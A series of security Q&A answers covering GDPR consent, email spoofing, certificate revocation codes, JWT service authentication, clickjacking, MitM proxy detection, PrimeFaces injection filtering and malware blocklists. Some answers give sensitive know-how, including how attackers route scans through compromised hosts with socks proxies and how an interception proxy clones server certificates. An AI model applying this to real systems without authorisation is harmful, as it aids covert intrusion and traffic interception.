Moreover if a company asks for consent as a legal basis for processing personal data, then they are forbidden from using the other legal bases of Article 6 for justifying their processing.

(The reasoning goes into deeper detail, if you can read French. What I have written above is just a summary.)

So the first email is essentially strong-arming you into accepting something illegal. If the class actions I mentioned above are successful, then you can expect smaller companies to follow suit and stop sending emails of the first kind (or face serious legal consequences).


Is this a case of simple email spoofing or has my email account been compromised?

TL;DR: Spoofing sender address is as simple as sending any other e-mail. It's a common practice for scammers to use your or any "reputable" e-mail address as the sender to make the scam look more trustworthy. The timing is likely a coincidence, the mail apparently went through gmail's servers so it must have been sent from the Internet.

Long version:

E-Mail works in many respects just like a regular postal service.

There are two unrelated use cases in using both mail and e-mail:

sending mail
receiving mail

Sending mail is the process of putting a message into an envelope, writing a sender and receiver address on it and giving it to a postal service to deliver. This same happens with e-mail. You can write whatever you want on the envelope and you don't even have to have a mailbox of your own to send a mail - you can just grab a paper and envelope at your local store, write whatever you want and then give it to the Post to deliver. This process usually ends by the postal service delivering the envelope to the specified mailbox. Again this is the same for regular post and e-mail.

Receiving mail is you opening your mailbox and getting all the mails in there to you for reading. You do the same when getting both paper mail and e-mail.

E-mail usually comes in a convenience package where these two separate use cases are bundled together. It's still just a bundle of two separate services, just nicely packaged to look the same.

What I miss here though is how did you receive the e-mail? If you read it through gmail's webmail interface, it's likely a scam. If you received it via some software mail client (such as Thunderbird), there is  (always) a chance your computer is compromised but in this situation I'd bet on a simple scam anyway.


The 'removeFromCRL' reason code indicates that the certificate is, in fact, not revoked. The idea behind 'certificateHold' is to make a suspension, not a revocation: the PKI declares that the certificate should not be used until more information is made available (in a subsequent delta or full CRL), while not fully revoking the certificate, because revocation is a one-way trip. In that sense, the certificate was never revoked, and thus was not "unrevoked" either.

This implies that the "revocation date" for a 'removeFromCRL' code is completely ignored. That date qualifies the instant from which the certificate should be considered as revoked, until the end of times; the 'removeFromCRL' code cancels that.

If you look at RFC 5280, you will see that the revocation date is not used at all in the validation algorithm. Its main purpose is to support past validation, when you want to know whether a given certificate was valid at some past date (this is used in some signature formats, in conjunction with time stamps). When a CRL lists that a certificate has been revoked at date T, this means that after date T the certificate must not be considered as valid, but also that before date T is was fine. For instance, if the certificate was on a smart card that has been lost, then the "revocation date" should be the last time at which the smart card was last seen by its owner, since at any ulterior date the card might be in the wrong hands. For the certificateHold/removeFromCRL pair, the point is that the private key was never compromised and the certificate never revoked, so there is no "revocation date".

(Arguably, the 'certificateHold' and 'removeFromCRL' reason codes are a hack which encourages PKI owners to use revocation as an emergency suspension mechanism, i.e. a substitute for authorization, and that is a bad idea. Revocation is, by nature, an asynchronous mechanism, and does not work well for that. When a situation arises where you would want to put a certificate "on hold", the sane thing to do is to revoke the certificate and issue a new one.)


Zero trust across micro-services using JWT

tl/dr: it's okay to have the backend accept a user id as part of a zero-trust architecture.  The more important part is that your
services must authenticate themselves to the backend, and the
appropriate parts of the backend should only accept requests from
your services (not from end-users).  As a result your issue is trying
to use the auth token of an end-user for services that the end-user
isn't supposed to access directly.  Let your services authenticate
themselves with the backend, and then it's perfectly fine to pass
along a user id.

Who is a "user"?
I think the key is that you're confusing who the "user" of some of your backend systems is.
This is most clear with your second example: deleting an inactive user.  This is a system-only process.  The user will never trigger this action themselves.  The backend is the "user" performing the action, even though a user account is being affected.  As a result it doesn't really make sense in the first place to be using the user's access token to delete the user.  It's not like the user is ever going to be making these requests to the backend themselves.  Indeed, user's should not be able to access these endpoints anyway.  If somehow a user managed to access the backend to try to delete their account, their access token should be rejected - this endpoint is intended for system use only, (presumably) not for users to delete themselves.  Therefore, by using the user's auth token to perform these system actions, you're authenticating as the wrong "person".
The situation is a bit more murky with your first example, because it is the user who makes an initial request which triggers the later actions.  However, the overall situation seems is still the same anyway - a backend process is taking action on the user's data.  The "user" of this system is not the actual end user, but is instead part of your own system.  It just happens to be acting on behalf of your users.
In short, if you have backend services that are not meant to be invoked directly by users, then those services shouldn't accept the user's access token.
So what to do?
So how do you implement a zero-trust system?  Naturally, the same way you are trying to do it - you're just authenticating as the wrong person.  It's not the user that needs to authenticate itself to the backend, but rather it is whatever service is making use of the backend that needs to authenticate itself.  This may or may not be with JWTs.  It may be a simple matter of having an authentication token that only the "cron" service knows, and which it uses to authenticate itself with your backend.  Those details are up to you.
However, I think that's the only real answer.  These services need their own way to authenticate themselves with the relevant parts of your backend, and those parts of the backend should only accept requests from your authenticated services - not from end users with end-user JWTs.  You'll obviously have to build the authentication method for your services in a way that covers issues with credential rotation if relevant.  However, since you won't be using the user's password as part of that process, that won't be a concern.


Is there a single maintained source of truth for trusted Certificate Authority Root Certificates?

Every Root Certificate programs have different requirements for including an Authority in their root store, that is why there's no single truth, because they're all truth according to their respective root program's requirements.

The root program's requirements in all major browsers are more or less aligned with the CA/B Forum Baseline Requirements, but each root program are allowed to add more requirements, which leads to different browsers shipping with slightly different set of root certificates.

  Whom do you trust?

Trust is a complicated thing, it's not binary. The fact that I trust Mozilla's Root Certificate program for verifying certificates for web servers during my daily browsing, does not necessarily mean that I trust them for code signing of my company's internal code signing authority for software that we develop, run, and deploy. And neither does the fact that I trust my internal code signing authority for signing these software means that I trust them to certify web sites that I visit using my work computer.

If trust is really important to you, you will want to verify yourself which part of the root program's requirement matches your own requirements, and which ones of your requirements are not satisfied and for which you may need to do separate verifications.

Note that most public Certificate Authority root program are concerned about identity, rather than the ethics, competence, or even legality of the business practice of the organizations they sign for.


How is the new "Dyer" malware bypassing SSL?

When an application "uses SSL", it actually loads a system DLL which implements the protocol. Each process maintains, in a specific zone of its address space, the list of DLL it has already loaded and where (this is under the management of the dynamic linker); a malware that can run on your system with enough local privileges will simply poke into these memory structures so that when the application wants to load the SSL implementation, it is actually redirected to a malware-controlled DLL. The malware will faithfully forward all calls to the true SSL-implementing DLL, but will also keep a copy of the data.

All these manipulations are in RAM and thus leave no permanent trace. Of course, the malware still has to "be there" and it wants to resist reboots, so it will normally leave a hook somewhere, modifying a system DLL or executable so that it is invoked again when the machine reboots.

(Nobody knows why any specific vulnerability or malware suddenly becomes the most important news in a decade and triggers a worldwide panic, while dozens of similar or even more dangerous virus just fly by with nothing more than a collective "meh" from a few specialist. The "heartbleed" case is a good example of a bug going viral for no perceivable reason.)


Is copying passwords to iOS clipboard secure?

No, but depending on your threat model, it may not be a problem.

There are a lot of ways an attacker could read the current and past contents of the clipboard, but usually this requires some kind of malware on your machine. At that point, you have arguably bigger problems, though it does expose you to greater risk.

So in short, if these are regular everyday use passwords, its not something to worry about unless you have a reason to be particularly paranoid. I wouldn't be copy-pasting nuclear launch codes for example. See also Is a password in the clipboard vulnerable to attacks?

As a side note, many popular password managers are vulnerable to memory-read attacks anyway, so even if you were careful about avoiding copy-pasting passwords, a sophisticated enough piece of malware could still steal your secrets.


Protect against clickjacking but allow framing on domain?

First I'd advise simplifying the problem by getting rid of the secure content being served over a frame.

Not a dig against you or your organization, but we're trying to train the world not to trust forms like the one you provided an image for. I know this isn't part of your question, but a Secure Transaction image is no substitute for that https cert.

If your 3rd party partners have no need to function as a portal for your secure content, then eliminating that possibility would simplify your problem. Implement no-exceptions anti-click-jacking for your secure content. Do the whole page as HTTPS, not just a form or a frame. If someone uses my free wifi hotspot at an airport, I can easily jack the whole form or frame and replace it with my own that looks identical, complete with Secure Transaction image.

Back on point, with the elimination of secure content simplifying the issue some, what remains is a browser compatibility problem with X-Frame-Options.

Theres a question over at stack overflow that discusses this, but it doesn't seem to truly solve the problem, but does answer the question: Browser compatibility continues to be a problem.

Another thing you might consider, I've done some work with porthole.js before for cross-frame communication and one of the things it made me think about is having the ability for a child frame to validate its parent, and for the parent to validate the child frame.

You can quickly check porthole's compatibility by visiting their demo site with the browsers that you care about supporting.

Additionally you could have your partners identify themselves with a querystring.

<iframe src="www.site.com/?partner=3tqdHB"></iframe>

Then when your click-jacking detection detects a parent window, check to see that the proper querystring parameter exists. If it does, challenge the parent frame to prove it's identity, sending a nonce.

The parent frame could then use the provided nonce with it's key to prove it's identity to you.

If everything works out, don't execute your kill script, otherwise, execute kill script.


Security of Yahoo's new authentication: On-demand password

It is more secure than a password in some ways, but as you describe, it also makes accounts more vulnerable to other attack vectors.

As a best practice, properly implemented two-factor authentication offers much superior security to a single factor, regardless if that single factor is a memorized password or an "on demand" password.

Reduced Vulnerability to internet-based attacks

I can see the logic in why Yahoo has implemented this alternative authentication system however, as one of the primary ways that spammers, automated email-hack bots and human hackers gain access to Yahoo accounts is through password re-use.  Yahoo e-mail is a large service that has been around for a long time; and many of its continuing users are not technically savvy.  Thus, they often reuse passwords on different sites; even going so far as to register with their yahoo e-mail.  Then their account is compromised, and we see spam, scam solicitations (the "I've been abducted please wire money" emails, etc) and the like.

Also, typical malware attacks such as keyloggers and password-interception would be unable to gain access to the account, simply because the password would only be usable once; and once expired a remote system could not gain access.  This reduces vulnerability to a very common method for malicious parties to access others' email.

So, if those users switched to this phone-based password system, these attack vectors would be largely eliminated.

Increased Vulnerability to Physical Attacks

As you point out, however, this opens up an entire new attack vector in that if the user's phone is compromised, one could easily gain access to their account.  This changes the attack vector from remote (internet-based hacks from other countries) to a physical hack.  Thus, anyone with physical access to your unlocked device can gain access to your e-mail from another computer.  Users however typically have their e-mail sync with their phone, so if this was the case anyone with access to the device could simply read the e-mail from the phone as well.

SMS Security

There is also the question of SMS security.  If a code provided by SMS is all that is needed to login, it is vulnerable to various eavesdropping attacks -- notably from "Stingray" devices provided to law enforcement agencies across the US.   Also as you point out there is the less sophisticated physical attack of stealing the SIM card (and potentially cloning it) and inserting it into another device and triggering the message. This opens up a whole new attack vector, but again it is localized as the attacker must be physically near (or have equipment near) the target.  Two-factor authentication lacks this vulnerability because the other factor (e.g. a password) would not be vulnerable to the same attack.

Governments have more effective ways

On the subject of governments, generally they can go through legal means to obtain data from providers so they are less likely to attack a web-based email account via a hack; and either get the information from the provider or force the target to hand over the password or data.

Use Two-Factor Authentication as a Best Practice

However, if a user wants to truly take the best measures they reasonably can to keep their e-mail secure, using two-factor authentication is the best option and one should not rely on a single factor, no matter what it is.


there is any port opening script or solution to increase security? I mean port is opened just when some port sequence detected on log

Here is an article about port-knocking: https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu

And as schroeder said above - this is security by obscurity, it does not make your system more secure. If you are looking for securing your box and still need access to it from any IP address, consider using VPN with SSL certificates to authenticate against the system and then connect to your SSH server. Otherwise just allow access to your SSH from a range of trusted IPs.


Why there are so many web servers which get exploited by generating obfuscated files?

When you pry a bit deeper in these cases, you will notice that these victims almost always use some 3rd party content management system written in PHP, like Wordpress or Joomla.

There are some problems with these:

They had lots of security vulnerabilities in the past.
There are lots and lots of plugins available for them of varying quality which also have vulnerabilities.
Uploading files is part of the core functionality of a CMS, so security-related bugs which allow to abuse this functionality unauthenticated are actually quite conceivable.
People tend to not update these systems as often as they should, so installations with unpatched vulnerabilities stay online.
There is a huge number of installations for these, so they can be easily found through automated bots.

You might wonder why are there so many problems with PHP applications? PHP is a language with several paradigms which make it quite easy for a novice programmer to write insecure applications full of XSS and SQL injections. Also, PHP files do not need to be compiled and are usually immediately accessible under an URL. A .PHP file on a webserver can be executed just by requesting them with a web browser, so when the attacker manages to upload one, they have already pwned the server.

As a C programmer, these problems affect you less, but you have a whole set of different problems, like for example having to think about buffer overflows whenever you write data to a char* or other type of array.


Any device that you are using can be malicious; and what you bought can be full of spy tools made by your government especially to spy on you. You don't know. ¯\_(ツ)_/¯

You should ask yourself whether you can trust the manufacturer and the retailer.

I honestly think you should not worry about that; or start worrying about all the devices you are using. (firewalls, USB keys, bluetooth headsets, etc.)

But remember that at some point, you have to trust in something.


Actually you cannot really "safely erase" an array of characters in Java. Java does memory allocation through a garbage collector, a tricky piece of software which, in practice, will move memory objects in physical RAM on a regular basis. So what you think as "a char[] instance" will be copied in several places, and the erasure will physically happen only in one of those places.

In that context, "secure deletion" cannot really exist in Java. If you use Java, you must ensure that the usage context is such that secure deletion is unnecessary: "secure deletion" is needed mostly when the OS may allocate non-zeroized RAM blocks (thus an application may get excerpts of old RAM from other applications), or in the presence of virtual memory (parts of the RAM being copied to a hard disk). I guess that these do not apply to a BlackBerry, so simple String instances ought to be fine.

An other way to state it is that if String instance are not fine for passwords, then you have bigger security issues than mere password leakage. After all, you use a password to protect access to some data, so if you need "secure erasing" for a password, then, quite logically, you would also need "secure erasing" for the protected data as well, and everything you do with it.

(One can guess that I am not a big fan of the concept of "secure erasing".)


Why aren't hardware SSH keys the default access for production systems?

Wouldnt a hardware SSH keystore be the best way to go forward as well?

Yes. In ideal world it would be best. But the requirement of the hardware and additional software handling the interface makes it less affordable. I would not say unpopular.

The most of the guides are for beginners to set up their first connection to github or to their first cloud box. In case you have a passphrase encrypted key, it is already very secure against offline attacks.

Using hardware device for private key operations should protect you against little bit more attacks (impossibility to copy the key, use it unauthorized), but you are not gaining much that would general user appreciate. Smart Cards are quite common in security-aware environments.


Base64 encoding encodes arbitrary data into an alphabet of mixed-case alphanumeric and 2 symbols (frequently + and /) with padding of between 0 and 3 = symbols. It's pretty easy to recognize a string that matches these characteristics, especially the = at the end.


There is nothing technologically hard in issuing certificates. It is just a bit of encoding, and a signature; a basic PC can do that a thousand times per second. While CA don't normally indulge in on-demand certificate issuing, there is no inescapable technical barrier to it.

The most plausible explanation is that you are currently connecting through a proxy which does a man-in-the-middle "attack" and really generates a fake certificate on demand. Not a real attack in the sense of some fraudster trying to pick on you; more an "institutional" attack by the local sysadmin, running a product like that one. This is becoming popular in corporative environments.

To check whether this occurs, a simple trick is to change your system date. Indeed, one conundrum of MitM proxies is that they must generate a certificate which will be accepted by the client, which, in particular, implies that the certificate must be such that the current time, as believed to be by the client, falls within the validity range. An often overlooked property of SSL is that both client and server tell to each other their own notion of the current time, in the early stages of the handshake procedure. This allows the server to know how the client's clock is set. If you change your current date and time to, say, last week, and the server's certificate follows that change (close all browser windows and restart it to ensure that a new SSL session is used), then the server's certificate was definitely produced on demand, because there is no other way that certificate would adjust to a wildly off client clock.

You will also want to see to what trust anchor (aka "root certificate") the server chain goes up. If an institutional MitM is in force on your system, then the chain will go up to a corresponding "rogue" root CA. What should happen with GoDaddy's certificates is described here (of course, the MitM may theoretically alter that page as well, as you see it; but if there is a discrepancy between what GoDaddy states and what you observe then it is proven that there is some ongoing foul play).


Keep all software updated. That includes your OSes and Owncloud. If there's a security update for any of the software, install it.
Run everything behind a NAT device, such as a router, and open only necessary ports on the router. You'll have to check the relevant documentation for what ports need to be forwarded, ie. opened on the NAT device. As an additional precaution, if the services allow you to specify ports to run them on, change them from the defaults to prevent automated scripts from attempting to hack your servers from the Internet.
Set strong passwords for all logins to the devices. That means no password reuse and having adequately unpredictable and long passwords. There are good guidelines on the web on how to set good passwords.
If possible, restrict access to all these to the local network only, and use a VPN such as OpenVPN to connect to the network hosting all these servers. That way, you only need to forward the OpenVPN port on your router and you'll be able to connect to these services only after connecting to the VPN.
Do a check on the settings of the server software, and lock down. Disable unnecessary settings such as UPnP.
Enable access logging on the servers and check them regularly for signs of intrusion.


How to capture WhatsApp API requests using Fiddler?

According to the paper "WhatsApp network forensics: Decrypting and understanding
the WhatsApp call signaling messages" from 2015 WhatsApp does not use HTTP(S) but:

  WhatsApp uses the FunXMPP protocol for message exchange
  which is a binary-efficient encoded Extensible
  Messaging and Presence Protocol (XMPP)

Which means that you will not be able to intercept the traffic with Fiddler. Read the paper for more details about the protocols, the encryption used and how you could intercept and decrypt the data.


In iptables and conntrack is ESTABLISHED, RELATED the same as RELATED, ESTABLISHED when default policy is drop?

There is no difference depending on the order. It is just a list of one ore more states that you want to match.

If you want separate packet/byte counters, you can create two rules, one with ESTABLISHED and one with RELATED.


I am not sure how VPNs will provide anonymity. Even for VPS (in case you meant Virtual Private Server), I am again not sure how will you use that to be anonymous. If you buy a bunch of VPS from linode/rackspace and use it to scan/exploit some servers, it is easy to trace you back. Linode requires a photographic copy of your credit card to activate your VPS.

If you make your scanning programs use Tor, your IP won't be revealed -- but I don't recommend using Tor. Running vulnerability scans using Tor can be really slow. That won't help if you are brute forcing. Also, Tor exit node policies may restrict which ports you can connect to.  In addition, it is unethical to use Tor to scan, exploit, or hack other systems.

Expert malicious hackers usually use compromised computers to run their attacks from. They might infect a computer (some university/govt. office) and use that to attack their target, making sure that they have put enough controls that a forensic examination of that computer won't reveal their IP or identity.
Again just IP anonymity may not be sufficient in what you are trying to do. Just by visiting a website, you can leave enough evidences to uniquely identify you.

  but how can be exploit or something used via proxy?

One way to mount attacks from a remote computer is to create a socks proxy to that host and run all the hacking programs using tsocks. Again this is just one scenario and one way... a lot depends on the exact requirements and the tools at hand.

Finally, please do not use these tricks to scan/attack someone without their authorization. Unless you are very thorough, you are bound to leave traces. Whether you'll be found or not depends on how much time and money the other party is willing to spend in the investigations.


Clarification about PrimeFaces Expression Language Injection

You could just filter against requests containing pfdrt=sc, but that would break legitimate requests to that functionality which use streamed content. The exploit relies on being able to send more than 16 bytes of base64 encoded data to that particular functionality, in order to inject expression language.

As such, in order to allow legitimate requests to that functionality, but block malicious requests at the same time, you must filter requests which contain pfdrt=sc and which have a pfdrid parameter whose value is a base64 string representing more than 16 bytes of data.


How best to persist arbitrary user data from a PAM module?

Probably not, apart from the usual filesystem organisation.

From the modules I checked, most don't save anything persistently, but only read a static configuration from the module options or from some file. Of those that do, pam_tally2.so uses /var/log/tallylog, and pam_pwhistory uses /etc/security/opasswd.

However, /etc is supposed to be used only by static configuration, so /var/lib would probably be more correct for variable data. That said, you probably want to make the location of the files configurable.

I don't see much reason to use anything other than files as storage.


Are there any instances where AES CBC + HMAC is preferred over the AES GCM mode?

There are quite some advantages to GCM, for one it allows for parallel processing which makes it efficient and usable for simultaneous hardware operations. Since you compare GCM to CBC+HMAC, I will point you to the GCM GMAC extension. GMAC is the HMAC variant but is uses a Galois field instead.

A predefined Galois field, say GF(2128), can be computed independently over an polynomial, whereas CBC chains blocks based on previous results. This gives GCM a high throughput, and makes it very efficient.


RESTful API URLs and Denial Of Service attacks

His suggestion is merely Security by Obscurity. As you point out a determined attacker would not be much impaired by this and it risks giving you a false sense of security.

If you are concerned about denial of service attacks you should investigate more robust solutions.

Schneier's opinion on the matter:

  I used to decry secret security systems as "security by obscurity." I now say it more strongly: "obscurity means insecurity."

https://www.schneier.com/blog/archives/2014/02/the_insecurity_2.html (February 14, 2014)


Suspicious http requests in my logs: *.html/RS=^

It's a drive-by attack against some obscure CMS, and it appears your site doesn't run that CMS, so I wouldn't worry about it. Some bot is just trawling the web and blindly looking for pages that might be exploitable. This is likely why the Google search mentioned in the link you provided points to so many junk/spam pages.


Firewall UDP Packet Source Port 53 Ruleset Bypass

It sounds like any UDP packet is allowed to your servers if the source port is UDP53. You'll need a rule which monitors session state, likely a firewall (hardward or host based), so this traffic is only allowed if your servers already sent an outgoing request to the DNS server on UDP53.


Is it possible to trick a CA into signing a certificate by intercepting on SSL domain validation email?

So yes, if the operator of www.dodgy-domain.elbonia lists a WHOIS contact address of admin@dodgy-domain.elbonia, or if a CA can be convinced to send a verification e-mail to postmaster@dodgy-domain.elbonia, and that operator has not set up SSL support in e-mail yet or the CA doesn't have outgoing SSL support for e-mail, several parties could potentially intercept that e-mail, including the Corrupt Communications Ministry of Elbonia or someone with a tap on the party-line modem link out to the operator's site.

There's a chicken-and-egg problem too, because you can't receive STARTTLS-protected e-mail without a certificate on your mailserver.

However, that isn't necessarily a problem for the Internet as a whole, or for the majority of domains, or for a typical domain. Google, Yahoo!, Microsoft, mail.com, Apple all support STARTTLS, and a lot of newly established domains, personal domains, or small-business domains would have WHOIS addresses from one of those services rather than from the domain itself. Other organizations use Google Apps or hosted Exchange for their incoming mail, which means they get the same STARTTLS protection. Notably, markmonitor.us, which handles domain registration on behalf of a lot of Fortune 500 firms and other large organizations, uses Google Apps hence supports STARTTLS.

Also, a passive attacker (who could read the message but not block its delivery) would leave the "confirmation" e-mail in the target mailbox, which gives some risk that the real administrator will notice the e-mail, contact the CA, get the certificate cancelled, publicly warn his users, and report the matter to the police.

Note that at least one CA does not issue DV certificates in part because of concern for possible man-in-the-middle attacks.


Recommendations for tamper resistance without reasonable access security

Your barriers are going to be hardening your OS, mainly, so that it doesn't allow things like root access and USB peripherals. I can think of two major things though:

First, use TPM-bound Full Disk Encryption. This eliminates an on-site admin with the password to the disk. Properly configured, hardware and pre-boot changes will result in the disk being locked out.

Second, ensure you have a modern secure boot implementation (you can bind the FDE to secure boot state), to prevent some tampering with firmware and memory, which ensures TPM effectiveness.

You may also want to use AMD's memory encryption, but that is a fairly advanced attacker who has tens of thousands of dollars of equipment.


Security track record of SSHD on Windows machines?

Well, we're certainly not in a place to judge that. It's hard to do so for most software in an objective sense, and it's rather useless in a subjective one.

With that said, OpenSSH is widely used and widely trusted on Unix systems. Cygwin allows that code to run on Windows. I'd go with the Cygwin + OpenSSH method as you don't have to trust a more obscure vendor to get the implementation of SSH right.


I'm continuing the theme of @schoeder's questions and answering the questions that you didn't ask.
First though let's answer your questions.  You don't want to sign records.  You want to figure out who is responsible for the manual edits to your database.  The most direct answer to your question is that you want an audit trail.   Many databases have solutions for that so google audit trail options for you database and use one of those.  Note however that this will be doomed from the start if people share username/passwords for database access.
However, that's not really what you want.  Whether you realize it or not, this is a disaster waiting to happen.  Direct admin access to the database is the sort of thing that should happen only rarely.  Direct access, especially regular direct access, carries some high risks:

The risk that someone becomes a disgruntled employee and uses their access to intentionally break things
The risk that someone does the wrong thing and accidentally deletes everything.
The risk that someone enters data wrong and causes inconsistencies or missing data.

And much more!  Having accidentally deleted things myself before (thank goodness for backups!), I take direct database access seriously and cautiously.  Not everyone does.  Things will eventually go very wrong.  Therefore there is only one answer:
Update your application to match your actual use-case, remove database access from everyone who doesn't need it, and make sure it is only used for necessary maintenance tasks!
I'm afraid that in the long term that's really the only correct answer.


Generally speaking, unless there's something specific that prevents them from doing so, then they can.

Legally speaking, a contract might make this disallowed,  but it's very unlikely that this would be in your contract.  Similarly, local privacy laws might protect you.  Either way, it's lawyer time - but how will you ever know?

Technically speaking, unless your data is properly encrypted, yes they can read and modify anything they want.  Use SSH or SSL to connect directly to the resource you want to access.  Or use TOR (or an SSL tunnel through a third party server - like an anonymizer service) if you are worried specifically about your ISP, but aren't concerned about "another" ISP.

Value-wise, a smaller organization probably isn't that interested in you personally, and probably won't target you.  The NSA should be assumed to be collecting your data.  Organizations like Google do automated data mining to give you directed ads - these organization s target you generically, not directly.

Do you have a raeson someone at your ISP might specifically target you, or why someone might get a job at your ISP or hack your ISP to target you?


Looking for URL Blacklists of Malicious Websites

online list of infected or malicious urls

malware domain blocklist

The malware domain blocklist have over 12000+ domains lists.

http://malc0de.com/bl/

1300+  Last updated 2013-03-05

Blacklist zeustracker

800+ listing

If you are looking for entire compressed DB

UPDATE

If you are smart enough to write an http parser you can extract the required fields
Complete URL list


You just need to add the tool certificate in the trust store of the client, so that the client trust your "tool as a server". Then in order not to have any errors, every time the client tries to open a TLS connection, you have to clone the actual cert with your custom CA:

Client tries to initiate connection with the server, it goes through your proxy
The proxy initiates actual connection with the server, gets the server certificate back
The proxy creates a new certificate with the same CN but with its custom CA
The proxy responds to the client with that new certificate, it's trusted by the client because you added your custom CA in the client trust store

Also be wary of propagating possible certs errors to the clients (not like Lenovo for instance..)


Allow DELETE method over firewall WEB API 2

If it's blocked before it gets to the application, then no.  If the application can't see it, the application can't do anything to allow it.

What you can do is to hack it.  The most common way to implement verbs that are blocked, or are commonly blocked like DELETE and PUT is to add the X-Http-Method-Override header to your requests, and set the value for the verb you really want to use, but use POST as the HTTP verb for the request.  Then you can create a DelegatingHandler that looks for that header after the request has entered the WebApi pipeline, and if it exists, you can change the request's actual HttpMethod from POST to DELETE at that point.


Is appending plaintext to salt equally safe as appending salt to plaintext

If you're having to deal with this question, you are more likely than not making a big mistake: you're rolling your own password hashing code.  This is bad, because:

Password hashing is a complicated topic that most people get wrong;
You'd be reinventing the wheel, instead of using a well-known and studied dedicated password hashing function like PBKDF2 or bcrypt.

These latter functions usually have interfaces that look like this:

Arguments:

Plaintext password
Salt
Cost factor

Return:

A password verification tag

They take the password and salt as separate arguments, so you do not need to append one to the other in any order.  In fact, neither of them appends the password and the salt in either way that you suggest.


Is there a PKCS certificate format that signs ASCII data?

A "certificate" by the definition used in cryptography is information about a cryptographic entity in a specific format and signed by a "certificate authority" or CA; X.509 is the most common type of certificate and the one used by PKCS#7 or its updated version CMS (and S/MIME, which is a thin wrapper on CMS). If you want to sign your own data, not special cryptographic certificate data, then you want SignedData, which is one of several options (with some suboptions too) in PKCS#7/CMS. The data doesn't need to be ASCII but if it is that's fine, and if it's canonical printable ASCII (no control characters except CRLF for line break) then you can use the "detached signature" suboption, which allows anyone to view the data part without any special tool (but you can't modify it without invalidating the signature). Having a root CA that issues certs for multiple entities that use those certs and their keys to sign and verify data is a bog-standard use of PKCS#7/CMS.

Note that PKCS#7 is sometimes used as a "carrier" for X.509 certificates and/or CRLs, but no user data. Certificates and CRLs are internally signed by the CA that issues them, and do not need or get additional protection. That is different from the SignedData case, where the user data needs and gets a signature added.

As per the comment, PGP format, implemented by GnuPG and a few competitors, has the same basic capabilities (and pretty much goals) as PKCS#7/CMS/SMIME: parties generate keypairs which may be certified or may be distributed and trusted by other means; parties then use a privatekey to sign (arbitrary) data that any recipient can verify using the publickey, or use a publickey (or several) to encrypt data that only the intended recipient(s) can decrypt using the privatekey(s). (PKCS#7/CMS calls the latter "enveloping" to distinguish it from other forms of encryption.)

There are technical differences: PKCS#7/CMS uses ASN.1 encoding (as does X.509) while PGP uses its own tagged packet structure; both usually use base64 "armor"; PGP identifies keys by a shortish hexadecimal id and parties usually by an email address, while X.509 and PKCS#7/CMS identifies keys by (usually) a hash and parties by a "Distinguished Name" structure that can be horribly complicated but in a situation you control you can make quite simple.

But the most visible difference is that PGP comes primarily as a commandline or GUI program that you run to do key-generation, signing, etc. PKCS#7/CMS is implemented by at least a few libraries and as part of some other programs like Microsoft Outlook, but the only standalone program I know is the commandline utility in OpenSSL, which after long evolution has some quirks that take a little getting used to. OTOH if you want your program(s) to read-and-verify the file (and possibly create-and-sign it also), the OpenSSL library API is mostly straightforward and reasonably well documented, if you are using C or C++ or anything that can call C. For Java there's a good 3rd-party library from BouncyCastle. MSDN says dot-NET has support. Anything else, make your question more specific.


Does the GHOST vulnerability affect Macs?

OS X is based on a BSD derivative, Darwin, which does not typically use GNU libc.  So my expectation is that the answer is "no".  That the _gethostbyname_r function, defined by glibc, is not available on OS X reinforces this hunch.

Let's see if some basic inspection of the library can help.

On a CentOS host:

$ strings /lib64/libc.so.6 | grep -i gnu
gnu_dev_makedev
gnu_get_libc_release
gnu_get_libc_version
gnu_dev_minor
gnu_dev_major
GNU C Library stable release version 2.12, by Roland McGrath et al.
Compiled by GNU CC version 4.4.7 20120313 (Red Hat 4.4.7-4).
        GNU Libidn by Simon Josefsson
<http://www.gnu.org/software/libc/bugs.html>.

yet on a mac:

# otool -L /usr/bin/gm4
/usr/bin/gm4:
        /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.0.0)
# otool -L /usr/lib/libSystem.B.dylib
/usr/lib/libSystem.B.dylib:
        /usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 159.1.0)
        /usr/lib/system/libcache.dylib (compatibility version 1.0.0, current version 47.0.0)
        /usr/lib/system/libcommonCrypto.dylib (compatibility version 1.0.0, current version 55010.0.0)
        /usr/lib/system/libcompiler_rt.dylib (compatibility version 1.0.0, current version 6.0.0)
        /usr/lib/system/libcopyfile.dylib (compatibility version 1.0.0, current version 85.1.0)
        /usr/lib/system/libdispatch.dylib (compatibility version 1.0.0, current version 187.7.0)
        /usr/lib/system/libdnsinfo.dylib (compatibility version 1.0.0, current version 395.7.0)
        /usr/lib/system/libdyld.dylib (compatibility version 1.0.0, current version 195.5.0)
        /usr/lib/system/libkeymgr.dylib (compatibility version 1.0.0, current version 23.0.0)
        /usr/lib/system/liblaunch.dylib (compatibility version 1.0.0, current version 392.35.0)
        /usr/lib/system/libmacho.dylib (compatibility version 1.0.0, current version 800.0.0)
        /usr/lib/system/libmathCommon.A.dylib (compatibility version 1.0.0, current version 2026.0.0)
        /usr/lib/system/libquarantine.dylib (compatibility version 1.0.0, current version 36.0.0)
        /usr/lib/system/libremovefile.dylib (compatibility version 1.0.0, current version 21.0.0)
        /usr/lib/system/libsystem_blocks.dylib (compatibility version 1.0.0, current version 53.0.0)
        /usr/lib/system/libsystem_c.dylib (compatibility version 1.0.0, current version 763.12.0)
        /usr/lib/system/libsystem_dnssd.dylib (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/system/libsystem_info.dylib (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/system/libsystem_kernel.dylib (compatibility version 1.0.0, current version 1699.24.8)
        /usr/lib/system/libsystem_network.dylib (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/system/libsystem_notify.dylib (compatibility version 1.0.0, current version 80.1.0)
        /usr/lib/system/libsystem_sandbox.dylib (compatibility version 1.0.0, current version 1.0.0)
        /usr/lib/system/libunc.dylib (compatibility version 1.0.0, current version 24.0.0)
        /usr/lib/system/libunwind.dylib (compatibility version 1.0.0, current version 30.0.0)
        /usr/lib/system/libxpc.dylib (compatibility version 1.0.0, current version 77.17.0)
# strings /usr/lib/libSystem.B.dylib | grep -i gnu

libsystem_c looks suspicious there, but let's check everything.

# for dl in /usr/lib/system/lib*.dylib; do echo $dl; strings $dl | grep -i gnu; done
...trimmed...
/usr/lib/system/libunwind.dylib
malformed DW_CFA_GNU_negative_offset_extended dwarf unwind, reg too big
...trimmed...

I started with gm4 since it's a GNU tool, and used otool to trace down its library dependencies.

